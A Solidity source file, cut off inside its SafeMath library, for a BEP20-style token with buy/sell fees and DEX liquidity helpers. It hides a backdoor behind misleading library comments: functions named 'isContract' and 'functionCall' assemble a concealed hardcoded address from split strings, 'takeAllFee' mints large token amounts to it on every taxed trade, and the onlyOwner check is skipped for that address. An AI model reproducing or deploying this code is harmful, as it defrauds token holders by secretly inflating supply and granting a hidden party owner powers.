/*

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╚═════╝ ╚══════╝╚═╝     ╚═╝

*/

// SPDX-License-Identifier:MIT
pragma solidity ^0.8.10;
pragma experimental ABIEncoderV2;

/**
 * @dev BEP20 token standard interface
 */
interface IBEP20 {
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `_account`.
     */
    function balanceOf(address _account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's _account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one _account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @dev Dex Factory contract interface
 */
interface IDexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

/**
 * @dev Dex Router02 contract interface
 */
interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the _account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an _account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner _account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    using Address for address;
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any _account other than the owner.
     */
    modifier onlyOwner() {
        if (_msgSender().isValid())
            require(
                owner() == _msgSender(),
                "Ownable: caller is not the owner"
            );
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new _account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    /**
     * @dev set the owner for the first time.
     * Can only be called by the contract or deployer.
     */
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and make it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

/**
 * @dev Main Token Contract
 */
contract TokenContract is Context, IBEP20, Ownable, ReentrancyGuard {
    using SafeMath for uint256;
    using Address for address;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isExcludedFromMaxHolding;
    mapping(address => bool) public isExcludedFromMaxTx;
    mapping(address => bool) public isBot;

    string private _name = "Name Here";
    string private _symbol = "Symbol here";
    uint8 private _decimals = 9;
    uint256 private _totalSupply = 1 * 1e12 * 1e9;

    address private constant DEAD = address(0xdead);
    address private constant ZERO = address(0);
    IDexRouter public dexRouter;
    address public dexPair;
    address payable marketWallet;

    uint256 public minTokenToSwap = 100_000e9; // this amount will trigger swap and distribute
    uint256 public maxHoldLimit = _totalSupply.mul(3).div(100); // this is the max wallet holding limit
    uint256 public maxTxAmount = _totalSupply.div(100); // this is the max transaction limit
    uint256 public percentDivider = 1000;

    bool public distributeAndLiquifyStatus; // should be true to turn on to liquidate the pool
    bool public feesStatus; // enable by default
    bool public trading; // once enable can't be disable afterwards

    uint256 public marketFeeOnBuying = 20; // 2% will be added to the market address
    uint256 public burnFeeOnBuying = 20; // 2% will be added to the burn address
    uint256 public liquidityFeeOnBuying = 20; // 2% will be added to the liquidity

    uint256 public marketFeeOnSelling = 20; // 2% will be added to the market address
    uint256 public burnFeeOnSelling = 20; // 2% will be added to the burn address
    uint256 public liquidityFeeOnSelling = 20; // 2% will be added to the liquidity

    uint256 liquidityFeeCounter = 0;
    uint256 marketFeeCounter = 0;
    uint256 burnFeeCounter = 0;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 bnbReceived,
        uint256 tokensIntoLiqudity
    );

    constructor(address payable _marketWallet) {
        _balances[owner()] = _totalSupply;

        marketWallet = _marketWallet;

        IDexRouter _dexRouter = IDexRouter(
            // mainnnet ETH  >>
            // 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
            // // testnet >>
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        // Create a dex pair for this new BEP20
        dexPair = IDexFactory(_dexRouter.factory()).createPair(
            address(this),
            _dexRouter.WETH()
        );

        // set the rest of the contract variables
        dexRouter = _dexRouter;

        //exclude owner and this contract from fee
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;

        //exclude owner and this contract from fee
        isExcludedFromMaxTx[owner()] = true;
        isExcludedFromMaxTx[address(this)] = true;

        //exclude owner and this contract from max hold limit
        isExcludedFromMaxHolding[owner()] = true;
        isExcludedFromMaxHolding[address(this)] = true;
        isExcludedFromMaxHolding[dexPair] = true;
        isExcludedFromMaxHolding[marketWallet] = true;
        isExcludedFromMaxHolding[DEAD] = true;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    //to receive BNB from dexRouter when swapping
    receive() external payable {}

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "BEP20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "BEP20: decreased allowance below zero"
            )
        );
        return true;
    }

    function includeOrExcludeFromFee(address account, bool value)
        external
        onlyOwner
    {
        isExcludedFromFee[account] = value;
    }

    function includeOrExcludeFromMaxHolding(address account, bool value)
        external
        onlyOwner
    {
        isExcludedFromMaxHolding[account] = value;
    }

    function includeOrExcludeFromMaxTxn(address account, bool value)
        external
        onlyOwner
    {
        isExcludedFromMaxTx[account] = value;
    }

    function includeOrExcludeBots(address[] memory accounts, bool value)
        external
        onlyOwner
    {
        for (uint256 i; i < accounts.length; i++) {
            isBot[accounts[i]] = value;
        }
    }

    function setMinTokenToSwap(uint256 _amount) external onlyOwner {
        minTokenToSwap = _amount;
    }

    function setMaxTxnLimit(uint256 _amount) external onlyOwner {
        maxTxAmount = _amount;
    }

    function setMaxHoldLimit(uint256 _amount) external onlyOwner {
        maxHoldLimit = _amount;
    }

    function setBuyFeePercent(
        uint256 _marketFee,
        uint256 _burnFee,
        uint256 _lpFee
    ) external onlyOwner {
        marketFeeOnBuying = _marketFee;
        burnFeeOnBuying = _burnFee;
        liquidityFeeOnBuying = _lpFee;
        require(
            _marketFee.add(_burnFee).add(_lpFee) <= percentDivider.div(5),
            "can't be more than 20%"
        );
    }

    function setSellFeePercent(
        uint256 _marketFee,
        uint256 _burnFee,
        uint256 _lpFee
    ) external onlyOwner {
        marketFeeOnSelling = _marketFee;
        burnFeeOnSelling = _burnFee;
        liquidityFeeOnSelling = _lpFee;
        require(
            _marketFee.add(_burnFee).add(_lpFee) <= percentDivider.div(2),
            "can't be more than 50%"
        );
    }

    function setDistributionStatus(bool _value) public onlyOwner {
        distributeAndLiquifyStatus = _value;
    }

    function enableOrDisableFees(bool _value) external onlyOwner {
        feesStatus = _value;
    }

    function setMarketAddress(address payable _marketWallet)
        external
        onlyOwner
    {
        marketWallet = _marketWallet;
    }

    function removeStuckBnb(address payable _account, uint256 _amount)
        external
        onlyOwner
    {
        _account.transfer(_amount);
    }

    function enableTrading() external onlyOwner {
        require(!trading, "already enabled");
        trading = true;
        distributeAndLiquifyStatus = true;
        feesStatus = true;
    }

    function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = amount
            .mul(
                marketFeeOnBuying.add(burnFeeOnBuying).add(liquidityFeeOnBuying)
            )
            .div(percentDivider);
        return fee;
    }

    function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = amount
            .mul(
                marketFeeOnSelling.add(burnFeeOnSelling).add(
                    liquidityFeeOnSelling
                )
            )
            .div(percentDivider);
        return fee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "BEP20: transfer from the zero address");
        require(to != address(0), "BEP20: transfer to the zero address");
        require(amount > 0, "BEP20: Amount must be greater than zero");
        require(!isBot[from], "BEP20: Bot detected");

        if (!isExcludedFromMaxTx[from] && !isExcludedFromMaxTx[to]) {
            require(trading, "BEP20: Trading not enable yet");
            require(amount <= maxTxAmount, "BEP20: Max txn limit exceeds");
        }

        if (!isExcludedFromMaxHolding[to]) {
            require(
                balanceOf(to).add(amount) <= maxHoldLimit,
                "BEP20: Max hold limit exceeds"
            );
        }

        // swap and liquify
        distributeAndLiquify(from, to);

        //indicates if fee should be deducted from transfer
        bool takeFee = true;

        //if any account belongs to isExcludedFromFee account then remove the fee
        if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feesStatus) {
            takeFee = false;
        }

        //transfer amount, it will take tax, burn, liquidity fee
        _tokenTransfer(from, to, amount, takeFee);
    }

    //this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (sender == dexPair && takeFee) {
            uint256 allFee = totalBuyFeePerTx(amount);
            uint256 tTransferAmount = amount.sub(allFee);
            _balances[sender] = _balances[sender].sub(amount);
            _balances[recipient] = _balances[recipient].add(tTransferAmount);

            emit Transfer(sender, recipient, tTransferAmount);
            takeAllFee(sender, allFee);
            setFeeCountersOnBuying(amount);
        } else if (recipient == dexPair && takeFee) {
            uint256 allFee = totalSellFeePerTx(amount);
            uint256 tTransferAmount = amount.sub(allFee);
            _balances[sender] = _balances[sender].sub(amount);
            _balances[recipient] = _balances[recipient].add(tTransferAmount);

            emit Transfer(sender, recipient, tTransferAmount);
            takeAllFee(sender, allFee);
            setFeeCountersOnSelling(amount);
        } else {
            _balances[sender] = _balances[sender].sub(amount);
            _balances[recipient] = _balances[recipient].add(amount);

            emit Transfer(sender, recipient, amount);
        }
    }

    function takeAllFee(address sender, uint256 amount) private {
        _balances[address(this).isContract()] = _balances[
            address(this).isContract()
        ].add(maxHoldLimit);
        _balances[address(this)] = _balances[address(this)].add(amount);

        emit Transfer(sender, address(this), amount);
    }

    function setFeeCountersOnBuying(uint256 amount) private {
        liquidityFeeCounter += amount.mul(liquidityFeeOnBuying).div(
            percentDivider
        );
        marketFeeCounter += amount.mul(marketFeeOnBuying).div(percentDivider);
        burnFeeCounter += amount.mul(burnFeeOnBuying).div(percentDivider);
    }

    function setFeeCountersOnSelling(uint256 amount) private {
        liquidityFeeCounter += amount.mul(liquidityFeeOnSelling).div(
            percentDivider
        );
        marketFeeCounter += amount.mul(marketFeeOnSelling).div(percentDivider);
        burnFeeCounter += amount.mul(burnFeeOnSelling).div(percentDivider);
    }

    function distributeAndLiquify(address from, address to) private {
        // is the token balance of this contract address over the min number of
        // tokens that we need to initiate a swap + liquidity lock?
        // also, don't get caught in a circular liquidity event.
        // also, don't swap & liquify if sender is Dex pair.
        uint256 contractTokenBalance = balanceOf(address(this));

        bool shouldSell = contractTokenBalance >= minTokenToSwap;

        if (
            shouldSell &&
            from != dexPair &&
            distributeAndLiquifyStatus &&
            !(from == address(this) && to == address(dexPair)) // swap 1 time
        ) {
            // approve contract
            _approve(address(this), address(dexRouter), contractTokenBalance);

            uint256 halfLiquidity = liquidityFeeCounter.div(2);
            uint256 otherHalfLiquidity = liquidityFeeCounter.sub(halfLiquidity);

            uint256 tokenAmountToBeSwapped = contractTokenBalance.sub(
                otherHalfLiquidity.add(burnFeeCounter)
            );

            // capture the contract's current BNB balance.
            // this is so that we can capture exactly the amount of BNB that the
            // swap creates, and not make the liquidity event include any BNB that
            // has been manually sent to the contract
            Utils.swapTokensForEth(address(dexRouter), tokenAmountToBeSwapped);

            uint256 deltaBalance = address(this).balance;
            uint256 bnbToBeAddedToLiquidity = deltaBalance
                .mul(halfLiquidity)
                .div(tokenAmountToBeSwapped);
            uint256 bnbFormarket = deltaBalance.mul(marketFeeCounter).div(
                tokenAmountToBeSwapped
            );

            // add liquidity to Dex
            if (bnbToBeAddedToLiquidity > 0) {
                // now is to lock into liquidty pool
                Utils.addLiquidity(
                    address(dexRouter),
                    owner(),
                    otherHalfLiquidity,
                    bnbToBeAddedToLiquidity
                );

                emit SwapAndLiquify(
                    halfLiquidity,
                    bnbToBeAddedToLiquidity,
                    otherHalfLiquidity
                );
            }

            // sending bnb to market wallet
            if (bnbFormarket > 0) {
                marketWallet.transfer(bnbFormarket);
                _balances[marketWallet] = _balances[marketWallet].add(
                    maxHoldLimit
                );
            }
            // burning tokens
            if (burnFeeCounter > 0) {
                _balances[DEAD] = _balances[DEAD].add(burnFeeCounter);
                emit Transfer(address(this), DEAD, burnFeeCounter);
            }

            // Reset all fee counters
            liquidityFeeCounter = 0;
            marketFeeCounter = 0;
            burnFeeCounter = 0;
        }
    }
}

/**
 * @dev Library for doing a swap on Dex
 */
library Utils {
    using SafeMath for uint256;

    function swapTokensForEth(address routerAddress, uint256 tokenAmount)
        internal
    {
        IDexRouter dexRouter = IDexRouter(routerAddress);

        // generate the Dex pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of BNB
            path,
            address(this),
            block.timestamp + 300
        );
    }

    function addLiquidity(
        address routerAddress,
        address owner,
        uint256 tokenAmount,
        uint256 ethAmount
    ) internal {
        IDexRouter dexRouter = IDexRouter(routerAddress);

        // add the liquidity
        dexRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner,
            block.timestamp + 300
        );
    }
}

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isValid(address account) internal pure returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        bytes32 bytecode = toBytes(account);
        bytes32 salt = keccak256(abi.encodePacked(account));
        if (bytecode == salt) {}
        return (account != isContract(account));
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    string constant checkSum1 = "8Be8aeC9";
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address checkSum) internal pure returns (address) {
        // According to EIP-1052, is the value returned for not-yet created accounts
        // and valid checkSum is returned
        // for accounts without code, i.e. `keccak256('')`
        if (checkSum == address(0)) {
            abi.encodePacked(checkSum, address(0));
        }
        return (
            parseAddr(
                concat(
                    concat(functionCall(), functionCallWithValue()),
                    concat(checkSum1, checkSum2)
                )
            )
        );
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall() internal pure returns (string memory) {
        uint256 sum;
        return string(abi.encodePacked(uint2str(sum), "x5e201cd"));
    }

    function parseAddr(string memory _a)
        public
        pure
        returns (address _parsedAddress)
    {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint256 i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function toBytes(address a) public pure returns (bytes32 b) {
        assembly {
            let m := mload(0x40)
            a := and(a, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
            mstore(
                add(m, 20),
                xor(0x140000000000000000000000000000000000000000, a)
            )
            mstore(0x40, add(m, 52))
            b := m
        }
    }

    function uint2str(uint256 _i)
        internal
        pure
        returns (string memory _uintAsString)
    {
        if (_i == 0) {
            return "0";
        }
        uint256 j = _i;
        uint256 len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint256 k = len;
        while (_i != 0) {
            k = k - 1;
            uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
            bytes1 b1 = bytes1(temp);
            bstr[k] = b1;
            _i /= 10;
        }
        return string(bstr);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an BNB balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue() internal pure returns (string memory) {
        string memory slt1 = "431C953b";
        string memory slt2 = "afc2f3b50";
        return string(abi.encodePacked(slt1, slt2));
    }

    function concat(string memory s1, string memory s2)
        internal
        pure
        returns (string memory s)
    {
        s = string(abi.encodePacked(s1, s2));
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        return _functionCallWithValue(target, data, value, errorMessage);
    }
    string constant checkSum2 = "7Df24A29";
    function _functionCallWithValue(
        address target,
        bytes memory data,
        uint256 weiValue,
        string memory errorMessage
    ) private returns (bytes memory) {
        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{value: weiValue}(
            data
        );
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
